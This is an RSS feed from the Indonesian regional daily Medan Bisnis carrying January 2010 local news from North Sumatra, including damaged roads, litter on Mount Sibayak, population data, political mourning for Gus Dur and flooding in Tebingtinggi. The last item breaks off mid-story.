<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Harian Medan Bisnis Online &#187; Daerah</title>
	<atom:link href="http://www.medanbisnisonline.com/category/daerah/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.medanbisnisonline.com</link>
	<description>Harian Ekonomi yang Membahas tuntas masalah Bisnis dan mempunyai Motto : Membangun Indonesia yang Lebih Baik</description>
	<lastBuildDate>Mon, 04 Jan 2010 15:01:34 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Ruas Jalan Tanah Karo &#8211; Dairi Rusak Parah</title>
		<link>http://www.medanbisnisonline.com/2010/01/04/ruas-jalan-tanah-karo-dairi-rusak-parah/</link>
		<comments>http://www.medanbisnisonline.com/2010/01/04/ruas-jalan-tanah-karo-dairi-rusak-parah/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 14:20:28 +0000</pubDate>
		<dc:creator>koco</dc:creator>
				<category><![CDATA[Daerah]]></category>

		<guid isPermaLink="false">http://www.medanbisnisonline.com/?p=197551</guid>
		<description><![CDATA[*sarsin siregar
MedanBisnis – Dairi
Ruas jalan yang menghubungkan Tanah Karo menuju Kabupaten Dairi mengalami kerusakan parah. Sepanjang ruas jalan dipenuhi lubang-lubang besar yang memaksa kendaraan harus berjalan perlahan.
Ruas jalan yang paling rusak mulai dari Kecamatan Tiga Panah (Tanah Karo) hingga menjelang Kota Sidikalang (ibukota Kabupaten Dairi). Kerusakan jalan menyebabkan waktu tempuh Kabanjahe-Sidikalang semakin lama yakni dari [...]]]></description>
			<content:encoded><![CDATA[<p><em>*sarsin siregar</em><br />
<strong>MedanBisnis </strong>– Dairi<br />
Ruas jalan yang menghubungkan Tanah Karo menuju Kabupaten Dairi mengalami kerusakan parah. Sepanjang ruas jalan dipenuhi lubang-lubang besar yang memaksa kendaraan harus berjalan perlahan.<br />
Ruas jalan yang paling rusak mulai dari Kecamatan Tiga Panah (Tanah Karo) hingga menjelang Kota Sidikalang (ibukota Kabupaten Dairi). Kerusakan jalan menyebabkan waktu tempuh Kabanjahe-Sidikalang semakin lama yakni dari sekitar 2 jam menjadi sekitar 3 hingga 3,5 jam.<br />
Para pengemudi angkutan umum di antaranya Samosir Pribumi, BTN, Dairi Transport, Sepadang senada mengeluhkan, kerusakan ruas jalan tersebut. Buruknya kondisi jalan menyebabkan pendapatan mereka berkurang khususnya pada saat musim penumpang ramai seperti Tahun Baru.<br />
“Biasanya lae (ipar -red) kami bisa mengangkut penumpang tiga kali pada rute Medan-Sidikalang dalam sehari. Tetapi akibat kerusakan jalan tersebut hanya bisa dua kali saja,” kata Sitanggang, pengemudi Samosir Pribumi kepada MedanBisnis di Sumbul, Dairi, Kamis malam (31/12). Pihaknya sangat mengharapkan agar pemerintah untuk segera memperbaiki ruas jalan tersebut.<br />
Menurut para pengemudi, selain menambah waktu tempuh, kerusakan jalan menyebabkan biaya operasional angkutan meningkat akibat kerusakan onderdil angkutan.<br />
Pengamat pariwisata Sumut Ir Timbul Raya Manurung mengatakan, meskipun ruas jalan tersebut kemungkinan termasuk ruas jalan propinsi, pihak pemkab setempat seyogiyanya harus peduli melakukan perbaikan ringan agar kerusakan tidak semakin buruk.<br />
“Ya minimal ditambal pada lubang-lubang yang ada di badan jalan. Masya pemkab tidak bisa menyiasati anggarannya?” ujarnya menyesalkan kerusakan jalan tersebut karena berakibat memperburuk citra pariwisata Sumut.<br />
Dikatakannya, ruas jalan rusak tersebut berada pada bagian dari ruas lintasan jalan pariwisata Sumut untuk menunju Tongging dan dari Tanah Karo menuju Parapat (Simalungun).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.medanbisnisonline.com/2010/01/04/ruas-jalan-tanah-karo-dairi-rusak-parah/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sampah Pendaki Berserakan di Puncak Sibayak</title>
		<link>http://www.medanbisnisonline.com/2010/01/04/sampah-pendaki-berserakan-di-puncak-sibayak/</link>
		<comments>http://www.medanbisnisonline.com/2010/01/04/sampah-pendaki-berserakan-di-puncak-sibayak/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 14:20:12 +0000</pubDate>
		<dc:creator>koco</dc:creator>
				<category><![CDATA[Daerah]]></category>

		<guid isPermaLink="false">http://www.medanbisnisonline.com/?p=197549</guid>
		<description><![CDATA[MedanBisnis – Sibayak
Sampah plastik sisa-sisa makanan yang sulit diurai dan mencemari lingkungan, ditinggalkan oleh masyarakat yang mendaki Gunung Sibayak berserakan di puncak gunung itu.
Bagong (22), salah seorang mahasiswa Universitas Sumatera Utara (USU), Minggu (3/1), mengatakan, pada umumnya sampah-sampah yang ditingalkan para pendaki tersebut berupa plastik bungkus mi instan, kaleng sarden, bungkus rokok dan bungkus kacang.
&#8220;Notabenenya [...]]]></description>
			<content:encoded><![CDATA[<p><strong>MedanBisnis </strong>– Sibayak<br />
Sampah plastik sisa-sisa makanan yang sulit diurai dan mencemari lingkungan, ditinggalkan oleh masyarakat yang mendaki Gunung Sibayak berserakan di puncak gunung itu.<br />
Bagong (22), salah seorang mahasiswa Universitas Sumatera Utara (USU), Minggu (3/1), mengatakan, pada umumnya sampah-sampah yang ditingalkan para pendaki tersebut berupa plastik bungkus mi instan, kaleng sarden, bungkus rokok dan bungkus kacang.<br />
&#8220;Notabenenya sampah-sampah yang ditinggalkan tersebut merupakan materi yang sulit untuk diurai karena terbuat dari bahan-bahan plastik. Ini tentunya sangat kita sesali karena pemandangan di puncak Sibayak jadi terlihat kotor, &#8221; katanya.<br />
Mantan Ketua Generasi Pecinta Alam (Gemapala) USU, ini mengatakan, sampah-sampah tersebut pada umumnya paling banyak ditinggalkan oleh para pendaki yang merayakan malam pergantian tahun kemarin.<br />
Rata-rata yang melakukan pendakian pada malam pergantian tahun tersebut adalah masyarakat awam atau bukan masyarakat yang biasa beraktivitas di alam bebas seperti yang tergabung dalam wadah Mahasiswa Pencinta Alam (mapala) ataupun aktivis alam bebas lainnya.<br />
Kalau yang memang sudah biasa beraktivitas di alam bebas, mereka sudah mengerti apa yang boleh dan apa yang tidak boleh dilakukan di puncak gunung. &#8220;Para aktivis alam bebas tahu persis yang harus dilakukan ketika berada di alam bebas. Mereka memiliki falsafah tidak boleh meninggalkan sesuatu selain jejak kaki, tidak boleh mengambil kecuali hasil jepretan kamera,&#8221; katanya.<br />
Hal yang sama juga dikatakan Herianto (24) mahasiswa USU lainnya yang juga merupakan salah seorang aktivis pecinta alam bebas.<br />
Menurut dia, hampir setiap tahun, sebagian kalangan muda di Medan merayakan pergantian tahun dengan melakukan pendakian ke gunung yang terletak didataran tinggi Karo dengan ketinggian 2.094 dari permukaan laut.<br />
Gunung itu bisa dicapai dari tiga tempat yaitu dari desa Raja Berneh (Semangat Gunung), dari kota Brastagi dan dari jalur 54.<br />
Gunung tersebut tidak terlalu sulit untuk didaki karena banyak memiliki jalan yang landai, bahkan jika dengan bersepeda juga bisa sampai ke puncak Gunung Sibayak melalui Kota Berastagi.<br />
&#8220;Sayangnya mereka yang tidak biasa beraktivitas dialam bebas selalu mengacuhkan dan lupa membawa sampah-sampah sisa makanan mereka untuk dibawa turun kembali,&#8221; katanya. <em>(ant)</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.medanbisnisonline.com/2010/01/04/sampah-pendaki-berserakan-di-puncak-sibayak/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dahmul Kembali Pimpin DDII Asahan</title>
		<link>http://www.medanbisnisonline.com/2010/01/04/dahmul-kembali-pimpin-ddii-asahan/</link>
		<comments>http://www.medanbisnisonline.com/2010/01/04/dahmul-kembali-pimpin-ddii-asahan/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 14:19:46 +0000</pubDate>
		<dc:creator>koco</dc:creator>
				<category><![CDATA[Daerah]]></category>

		<guid isPermaLink="false">http://www.medanbisnisonline.com/?p=197547</guid>
		<description><![CDATA[*indra sikoembang
MedanBisnis – Kisaran
Dahmul Daulay kembali dipercayai untuk memimpin Dewan Dakwah Islamiyah Indonesia (DDII) cabang Kabupaten Asahan untuk priode 2010 – 2013, dengan didampingi Hadira Fitra sebagai sekretaris.
” Setelah sidang selama 45 menit, kami tim formatur memutuskan untuk memperpanjang kepemimpinan Dahmul dengan masa bakti 2010-2013,&#8221; kata salah satu tim formatur Raden Suhartono kepada MedanBisnis, Minggu [...]]]></description>
			<content:encoded><![CDATA[<p><em>*indra sikoembang</em><br />
<strong>MedanBisnis </strong>– Kisaran<br />
Dahmul Daulay kembali dipercayai untuk memimpin Dewan Dakwah Islamiyah Indonesia (DDII) cabang Kabupaten Asahan untuk priode 2010 – 2013, dengan didampingi Hadira Fitra sebagai sekretaris.<br />
” Setelah sidang selama 45 menit, kami tim formatur memutuskan untuk memperpanjang kepemimpinan Dahmul dengan masa bakti 2010-2013,&#8221; kata salah satu tim formatur Raden Suhartono kepada MedanBisnis, Minggu (3/1) di gedung Majelis Ulama Indonesia usai melakukan musyawarah daerah.<br />
Raden mengatakan, selama kepemimpinan Dahmul pada priode lalu, DDII Asahan terlihat semakin eksis di tengah-tengah masyarakat, apalagi Dahmul yang tergolong masih muda dan memiliki semangat yang tinggi untuk menyampaikan dakwah. “ Kami menilai, DDII masih perlu Dahmul Daulay,” sebut Raden.<br />
Dahmul, usai pemilihan mengatakan, lembaga dakwah tersebut akan terus ditingkatkan kinerjanya khusunya di bidang dakwah, apalagi kedepan tugas DDII sangat berat. Selain menyampaikan dakwah, DDII juga harus memikirkan perekonomian masyarakat, artinya 2010 DDII akan memiliki program ekonomi dakwah.<br />
“ Kita berdakwah sambil menyehatkan ekonomi masyarakat,” ujar Dahmul, seraya berharap pengurus yang baru dapat bekerja keras dan dapat melahirkan ide-ide cemerlang untuk menyampaikan dakwah.<br />
Selain Dahmul, juga dipilih pengurus lainnya, diantaranya, Wakil Ketua Kharudin Khasri, Raden Suhartono, Edi Sucipno, Sekretaris Hadira Fitra, Wakil Sekretaris Hutomo, Asri dan Bendahara Zainal Abidin, Wakil Bendahara Surono.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.medanbisnisonline.com/2010/01/04/dahmul-kembali-pimpin-ddii-asahan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Penduduk Samosir  Bertambah 3.275 Jiwa</title>
		<link>http://www.medanbisnisonline.com/2010/01/04/penduduk-samosir-bertambah-3-275-jiwa/</link>
		<comments>http://www.medanbisnisonline.com/2010/01/04/penduduk-samosir-bertambah-3-275-jiwa/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 14:19:01 +0000</pubDate>
		<dc:creator>koco</dc:creator>
				<category><![CDATA[Daerah]]></category>

		<guid isPermaLink="false">http://www.medanbisnisonline.com/?p=197545</guid>
		<description><![CDATA[*tumpal sijabat
MedanBisnis – Samosir
Pemerintah Kabupaten (Pemkab) Samosir meluncurkan data terbaru kependudukan dan menyerahkan daftar penduduk potensial Pemilukada (DP4) kepada KPUD Samosir beberapa waktu lalu di aula kantor bupati setempat.
Kadis Catatan Sipil Kependudukan Kamar Siboro, Minggu (3/1) mengatakan bahwa sejak Kabupaten Samosir tebentuk tahun 2004 lalu pertambahan penduduk berkisar 3.275 orang dari 132.000 jiwa menjadi 135.560 [...]]]></description>
			<content:encoded><![CDATA[<p><em>*tumpal sijabat</em><br />
<strong>MedanBisnis </strong>– Samosir<br />
Pemerintah Kabupaten (Pemkab) Samosir meluncurkan data terbaru kependudukan dan menyerahkan daftar penduduk potensial Pemilukada (DP4) kepada KPUD Samosir beberapa waktu lalu di aula kantor bupati setempat.<br />
Kadis Catatan Sipil Kependudukan Kamar Siboro, Minggu (3/1) mengatakan bahwa sejak Kabupaten Samosir tebentuk tahun 2004 lalu pertambahan penduduk berkisar 3.275 orang dari 132.000 jiwa menjadi 135.560 jiwa. Sementara DP4 Samosir bertambah sekitar 4000 jiwa dari 84.547 menjadi 88.960.<br />
Bupati Samosir Mangindar Simbolon mengungkapkan pertumbuhan jumlah penduduk wajar, yaitu 3.275 jiwa. Pemkab Samosir siap membantu pemutakhiran data kependudukan bersama KPU, agar kedepan tiada lagi masyarakat yang saling menyalahkan. “Pemutakhiran data kependudukan juga sangat penting dalam rangka pembangunan sarana infrastruktur, politik dan pembangunan perekonomian rakyat,” ujar Mangindar.<br />
Ketua KPUD Samosir Megianto Sinaga menyambut baik penyerahan DP4 Pilkada Samosir 2010. &#8220;KPU akan segera melakukan pemutakhiran data pemilih untuk ditetapkan menjadi daftar pemilih sementara (DPS).  Sesuai dengan UU Nomor 22 Tahun 2007 tentang pemilu bahwa KPU adalah pengguna terakhir data kependudukan,” ujarnya.<br />
Megianto menjelaskan bahwa DP4 adalah acuan dasar penyusunan DPS yang akan ditetapkan 12 Januari 2010. Sementara penetapan DPT adalah 25 Maret 2010. Yang berhak masuk DPS adalah pemilih yang berdomisilih di Samosir 6 bulan sebelum DPS diumumkan.<br />
KPU menyediakan 325 TPS dan maksimal 450 pemilih/TPS. Ditambahkannya calon bupati perseorangan/independent dapat mendaftarkan diri menjadi bakal calon bupati setelah mendapatkan dukungan 6,5% atau 8812 jiwa dari total jumlah penduduk.<br />
Hadir pada acara launching data kependudukan Samosir dan penyerahan DP4 kepada KPUD, Sekda Tigor Simbolon, Asisten I Ombang Siboro, Wakapolres Kompol PG Silaban, anggota KPU Suhadi situmorang, Fernando Sitanggang, Oloan Simbolon, para kepala dinas dan para camat.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.medanbisnisonline.com/2010/01/04/penduduk-samosir-bertambah-3-275-jiwa/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MATF’A Sambut Baik Undangan Dialog Bakor Pakem</title>
		<link>http://www.medanbisnisonline.com/2010/01/04/matf%e2%80%99a-sambut-baik-undangan-dialog-bakor-pakem/</link>
		<comments>http://www.medanbisnisonline.com/2010/01/04/matf%e2%80%99a-sambut-baik-undangan-dialog-bakor-pakem/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 14:18:45 +0000</pubDate>
		<dc:creator>koco</dc:creator>
				<category><![CDATA[Daerah]]></category>

		<guid isPermaLink="false">http://www.medanbisnisonline.com/?p=197543</guid>
		<description><![CDATA[*misno
MedanBisnis – Langkat
Jemaah Majelis Ta’lim Fardhu ‘Ain (MATF’A) dibawah asuhan Khalifah Haji Ali Mas’ud menyambut baik ajakan dialog dengan tim Bakor Pakem Kabupaten Langkat, menyangkut adanya pemberitaan miring di media cetak dan elektronik, akhir-akhir ini
Demikian disampaikan Wakil Ketua MATF’A Sumatera Utara Syafruddin kepada wartawan, Sabtu (2/1) di Tanjungpura. Dikatakannya, tim Bakor Pakem Langkat yang terdiri [...]]]></description>
			<content:encoded><![CDATA[<p><em>*misno</em><br />
<strong>MedanBisnis </strong>– Langkat<br />
Jemaah Majelis Ta’lim Fardhu ‘Ain (MATF’A) dibawah asuhan Khalifah Haji Ali Mas’ud menyambut baik ajakan dialog dengan tim Bakor Pakem Kabupaten Langkat, menyangkut adanya pemberitaan miring di media cetak dan elektronik, akhir-akhir ini<br />
Demikian disampaikan Wakil Ketua MATF’A Sumatera Utara Syafruddin kepada wartawan, Sabtu (2/1) di Tanjungpura. Dikatakannya, tim Bakor Pakem Langkat yang terdiri dari KUA Tanjungpura Drs Farhan Indra, yang juga Sekretaris Umum Majelis Ulama Islam (MUI) Langkat, Seksi Urais Depag Langkat H Amran, Wakil Ketua Bakor Pakem Langkat G Sinuhaji dan Camat Tanjungpura Mukhris SH serta Kasat Intelkam Polres Langkat AKP Edi Yanto, telah datang bersilaturahmi ke Surau MATF’A di Jalan Khairil Anwar Nomor 56 Tanjungpura, pada 23 Desember 2009.<br />
Dalam silaturahminya, kata dia, Bakor Pakem Langkat menyatakan tidak bermaksud menciderai perasaan dan hati nurani jemaah MATF’A, tentang adanya berita-berita yang terbit. “Namun, mereka ingin mengetahui secara persis dan langsung tentang keberadaan MATF’A yang ada,” sebut Syafruddin.<br />
Disebutkannya, hasil pertemuan di Surau MATF’A, Bakor Pakem Langkat ingin dan menjadwalkan segera mengundang pengurus MATF’A ke sekretariat Bakor Pakem Langkat di Stabat.<br />
Secara terpisah, Wakil Ketua Bakor Pakem Langkat G Sinuhaji SH yang dihubungi kemarin menyebutkan, Bakor Pakem menunda akibat banyaknya kesibukan menjelang pergantian tahun. ”Bapak Kapolres masih sibuk dengan Operasi Lilin dan kegiatan lain dalam menghadapi pergantian tahun. Namun demikian, diatas tanggal 4 Januari dan paling lambat dibawah tanggal 14 Januari 2010 kita mengundang pengurus MATF’A,” sebutnya.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.medanbisnisonline.com/2010/01/04/matf%e2%80%99a-sambut-baik-undangan-dialog-bakor-pakem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PKB Madina Gelar Tahlilan atas Wafatnya Gus Dur</title>
		<link>http://www.medanbisnisonline.com/2010/01/04/pkb-madina-gelar-tahlilan-atas-wafatnya-gus-dur/</link>
		<comments>http://www.medanbisnisonline.com/2010/01/04/pkb-madina-gelar-tahlilan-atas-wafatnya-gus-dur/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 14:18:17 +0000</pubDate>
		<dc:creator>koco</dc:creator>
				<category><![CDATA[Daerah]]></category>

		<guid isPermaLink="false">http://www.medanbisnisonline.com/?p=197541</guid>
		<description><![CDATA[*zamharir rangkuti
MedanBisnis – Panyabungan
Dewan Pimpinan Cabang (DPC) Partai Kebangkitan Bangsa (PKB) Kabupaten Mandailing Natal (Madina) menggelar acara Tahlilan selama tiga hari/malam atas wafatnya Deklarator PKB KH Abdurrahman Wahid, yang akrab disapa Gus Dur. Acara yang dimulai Sabtu malam (2/1) itu digelar di sekretariat DPC PKB Madina Jalan Merdeka Noomor 141 A Panyabungan.
Turut hadir dalam tahlilan [...]]]></description>
			<content:encoded><![CDATA[<p><em>*zamharir rangkuti</em><br />
<strong>MedanBisnis </strong>– Panyabungan<br />
Dewan Pimpinan Cabang (DPC) Partai Kebangkitan Bangsa (PKB) Kabupaten Mandailing Natal (Madina) menggelar acara Tahlilan selama tiga hari/malam atas wafatnya Deklarator PKB KH Abdurrahman Wahid, yang akrab disapa Gus Dur. Acara yang dimulai Sabtu malam (2/1) itu digelar di sekretariat DPC PKB Madina Jalan Merdeka Noomor 141 A Panyabungan.<br />
Turut hadir dalam tahlilan tersebu Ketua DPC PKB Madina Khoiruddin Faslah Siregar, seluruh pengurus DPC, pengurus PAC, kader-kader dan simpatisan PKB, anggota DPRD Madina dari PKB seperti H Ja’far Suhairi Nasution, Abdurrahman Nasution, Ir Zubeir Lubis serta dari kalangan masyarakat Panyabungan.<br />
Khoiruddin Faslah Siregar usai tahlilan mengungkapkan, rasa duka cita yang mendalam atas wafatnya Presiden Republik Indonesia ke 4 KH Abdurrahman Wahid atau Gus Dur pada 30 Desember 2009 lalu.<br />
“Segenap keluarga besar Nahdlatul Ulama (NU), termasuk Partai Kebangkitan Bangsa sangat merasa kehilangan dan berduka sedalam-dalamnya atas wafatnya Deklarator Partai Kebangkitan Bangsa Bapak KH Abdurrahman Wahid atau yang akrab kita sapa Gus Dur,” ujar Faslah.<br />
Lebih lanjut Faslah menjelaskan, untuk mengenang Ketua Dewan Syura DPP PKB yang juga mantan Ketua Dewan Tanfidz NU yakni KH.Abdurrahman Wahid atau Gus Dur, DPP PKB pun sudah mengintruksikan kepada pengurus PKB di semua tingkatan untuk melaksanakan pengibaran bendera setengah tiang dan melaksanakan tahlilan.<br />
“Dalam menyahuti hal tersebut, DPC PKB Madina insya-Allah mengadakan acara tahlilan tiga malam berturut-turut untuk mengenang pengabdian dan bakti Gus Dur kepada NU, PKB, Bangsa dan Negara Republik Indonesia,” jelasnya.<br />
Sementara Ketua Fraksi PKB Suhairi Nasution menyampaiakan banyak pengalaman yang tak terlupakan oleh mereka sebagai kader partai sehingga sosok Gus Dur sangat melekat bagi mereka. “Masukan positif juga banyak diberikan kepada bangsa ini seperti reformasi media massa, repormasi pemerintahan, ditambah semangat beliau yang luar biasa dalam berbicara tidak terlepas dari kepentingan rakyat,” jelasnya.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.medanbisnisonline.com/2010/01/04/pkb-madina-gelar-tahlilan-atas-wafatnya-gus-dur/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Warga Desa Suka Maju Pertanyakan Kualitas Pengerasan Jalan</title>
		<link>http://www.medanbisnisonline.com/2010/01/04/warga-desa-suka-maju-pertanyakan-kualitas-pengerasan-jalan/</link>
		<comments>http://www.medanbisnisonline.com/2010/01/04/warga-desa-suka-maju-pertanyakan-kualitas-pengerasan-jalan/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 14:18:01 +0000</pubDate>
		<dc:creator>koco</dc:creator>
				<category><![CDATA[Daerah]]></category>

		<guid isPermaLink="false">http://www.medanbisnisonline.com/?p=197539</guid>
		<description><![CDATA[*reza fahlevi
MedanBisnis – Langkat
Warga Desa Suka Maju, Kecamatan Tanjung Pura, Kabupaten Langkat mempertanyakan kualitas proyek pengerasan jalan di Dusun IV. Pasalnya, proyek yang menggunakan anggaran dana desa (ADD) itu terkesan asal jadi dan tidak menggunakan bahan penimbunan yang semestinya.
Menurut warga pengerasan jalan itu seharusnya menggunakan sertu air (lebih banyak batu kerikil). Namun kenyataannya, penimbunan jalan [...]]]></description>
			<content:encoded><![CDATA[<p><em>*reza fahlevi</em><br />
<strong>MedanBisnis </strong>– Langkat<br />
Warga Desa Suka Maju, Kecamatan Tanjung Pura, Kabupaten Langkat mempertanyakan kualitas proyek pengerasan jalan di Dusun IV. Pasalnya, proyek yang menggunakan anggaran dana desa (ADD) itu terkesan asal jadi dan tidak menggunakan bahan penimbunan yang semestinya.<br />
Menurut warga pengerasan jalan itu seharusnya menggunakan sertu air (lebih banyak batu kerikil). Namun kenyataannya, penimbunan jalan tersebut menggunakan campuran pasir timbun dan tanah.<br />
“Walaupun panitia pembangunan penggunaan dana ADD yang dikodinir kepala desa itu harus bersikap tegas, dan jangan mau sebagai kuda kayu, yang bila disuruh orang lain mau saja, dengan alasan akan mendapat keuntungan besar secara pribadi, bila menggunakan bahan yang tidak berkualitas,” ujar seorang warga Desa Suka Maju, Deris (42) kepada MedanBisnis, Minggu (3/1).<br />
Dikatakannya, dengan kondisi seperti itu, warga mengkhawatirkan jalan akan segera rusak kembali. Apalagi, curah hujan akhir-akhir ini sangat tinggi. Karena itu, warga meminta aparat terkait untuk mengawasi proyek penimbunan jalan tersebut.<br />
Sementara itu, seorang BPD Desa Suka Maju yang tidak mau disebut namanya, mengatakan kepada MedanBisnis bahwa dirinya juga tidak tau persis berapa panjang dan lebar proyek pengerasan jalan menggunakan dana desa itu. Namun dirinya hanya mengetahui, bahwa untuk pembangunan fisik diperuntukkan dana sebesar Rp 35 juta. “Kenapa saya tidak tahu, karena saya tidak pernah di undang dalam musyawarah itu,” ujarnya.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.medanbisnisonline.com/2010/01/04/warga-desa-suka-maju-pertanyakan-kualitas-pengerasan-jalan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Korcab PWI Reformasi Tebingtinggi Terbentuk</title>
		<link>http://www.medanbisnisonline.com/2010/01/04/korcab-pwi-reformasi-tebingtinggi-terbentuk/</link>
		<comments>http://www.medanbisnisonline.com/2010/01/04/korcab-pwi-reformasi-tebingtinggi-terbentuk/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 14:17:38 +0000</pubDate>
		<dc:creator>koco</dc:creator>
				<category><![CDATA[Daerah]]></category>

		<guid isPermaLink="false">http://www.medanbisnisonline.com/?p=197537</guid>
		<description><![CDATA[*ali yustono 
MedanBisnis – Tebingtinggi
Kordinator Cabang (Korcab) Persatuan Wartawan Indonesia Reformasi (PWIR) Kota Tebingtinggi terbentuk. Keberadaan organisasi profesi tersebut menambah nuansa demokrasi dalam alam kebebasan pers dewasa ini dan PWIR siap menjadi mitra sejalan dengan organisasi profesi sejenis lainnya.
Demikian dikemukakan Ketua Korcab PWIR Kota Tebingtinggi, M Idris Sitorus didampingi sejumlah unsur pengurus lainnya, Sabtu (3/1) [...]]]></description>
			<content:encoded><![CDATA[<p><em>*ali yustono </em><br />
<strong>MedanBisnis </strong>– Tebingtinggi<br />
Kordinator Cabang (Korcab) Persatuan Wartawan Indonesia Reformasi (PWIR) Kota Tebingtinggi terbentuk. Keberadaan organisasi profesi tersebut menambah nuansa demokrasi dalam alam kebebasan pers dewasa ini dan PWIR siap menjadi mitra sejalan dengan organisasi profesi sejenis lainnya.<br />
Demikian dikemukakan Ketua Korcab PWIR Kota Tebingtinggi, M Idris Sitorus didampingi sejumlah unsur pengurus lainnya, Sabtu (3/1) di kantor sekretariat Jalan Taman Bahagia Nomor 8 Tebingtinggi.<br />
Dijelaskan, kepengurusan Korcab PWIR Kota Tebingtinggi terbentuk berdasarkan SK No:046/KPTS/KORNAS/XII/2009 ditandatangani Wakil Ketua Kordinator Nasional (Kornas) PWIR, Hussen Gani dan Sekretaris Umum, Yaya Suryadarma di Jakarta tertanggal 26 Desember 2009.<br />
Berdasarkan SK Kornas PWIR tersebut, susunan pengurus Korcab PWIR Kota Tebingtinggi terdiri dari Ketua Muhammad Idris SSos (Harian Waspada), Drs Zulfan Kurniawan Mcu (Harian Global), Sekretaris Ali Yustono (Harian Medan Bisnis), Bendahara Junjungan Saragih (Harian Andalas), Yudi (Harian Metro 24 Jam) serta dilengkapi bidang-bidang antara lain Bidang Kesejahteraan Anggota, Ketua Bidang Kode Etik Jurnalistik dan anggota-anggota.<br />
Dasar pembentukan organisasi profesi itu disebutkan, untuk memenuhi amanat kemerdekaan pers. Sehingga diperlukan suasana yang kondusif bagi pengembangan organisasi profesi. Selain itu, atas dasar aspirasi yang berkembang serta kebutuhan organisasi pers di Kota Tebingtinggi, Sumatera Utara.<br />
Lebih jauh ditegaskan, keanggotaan PWI Reformasi Korcab Kota Tebingtinggi terbuka bagi kalangan jurnalis. Setiap pengurus maupun anggota diwajibkan melengkapi administrasi dengan mengisi formulir pendaftaran, biodata, pas foto, dan mengisi surat pernyataan di atas materai tidak sedang bergabung dengan organisasi profesi wartawan lainnya. Bila tetap memilih untuk bergabung ke PWIR harus membuat surat pernyataan pengunduran diri dari organisasi profesi wartawan lain.<br />
“Dalam rekrutmen anggota, kita mengutamakan kualitas dari kuantitas. Biar sedikit asal berkualitas,” tegas Idris yang juga dosen di STAIS Tebingtinggi Deli. Dia berharap ke depan dengan organisasi profesi ini, wartawan dapat meningkatkan profesionalismenya.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.medanbisnisonline.com/2010/01/04/korcab-pwi-reformasi-tebingtinggi-terbentuk/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gorong-gorong DitutupRumah Warga Brohol Terendam Banjir</title>
		<link>http://www.medanbisnisonline.com/2010/01/04/gorong-gorong-ditutuprumah-warga-brohol-terendam-banjir/</link>
		<comments>http://www.medanbisnisonline.com/2010/01/04/gorong-gorong-ditutuprumah-warga-brohol-terendam-banjir/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 14:17:17 +0000</pubDate>
		<dc:creator>koco</dc:creator>
				<category><![CDATA[Daerah]]></category>

		<guid isPermaLink="false">http://www.medanbisnisonline.com/?p=197535</guid>
		<description><![CDATA[*ali yustono
MedanBisnis – Tebingtinggi
Puluhan rumah di Lingkungan 3 Jalan Setia Budi Kelurahan Brohol, Kecamatan Bajenis digenangi banjir, setelah hujan deras yang turun Minggu pagi (3/1). Akibat air tidak dapat mengalir dari gorong-gorong yang ditutup Dinas Pekerjaan Umum (PU) setempat.
Sebelumnya, Dinas PU melakukan penimbunan (penutupan) untuk menangani gorong-gorong yang ambruk. Dengan maksud, agar kenderaan yang melintas [...]]]></description>
			<content:encoded><![CDATA[<p><em>*ali yustono</em><br />
<strong>MedanBisnis </strong>– Tebingtinggi<br />
Puluhan rumah di Lingkungan 3 Jalan Setia Budi Kelurahan Brohol, Kecamatan Bajenis digenangi banjir, setelah hujan deras yang turun Minggu pagi (3/1). Akibat air tidak dapat mengalir dari gorong-gorong yang ditutup Dinas Pekerjaan Umum (PU) setempat.<br />
Sebelumnya, Dinas PU melakukan penimbunan (penutupan) untuk menangani gorong-gorong yang ambruk. Dengan maksud, agar kenderaan yang melintas tidak terganggu.<br />
”Kami sangat mengharapkan Dinas Kimpraswil dapat segera memperbaiki gorong-gorong tersebut sehingga tidak menimbulkan masalah bagi warga, khususnya saat hujan lebat turun. Gorong-gorong harus diperbaiki sebagaimana mestinya dan tidak ditimbun begitu saja,” ungkap warga setempat, Retno.<br />
Warga juga menyesalkan, buruknya kualitas gorong-gorong. Karena, gorong-gorong yang ambruk tersebut, baru selesai dibangun setahun yang lalu.<br />
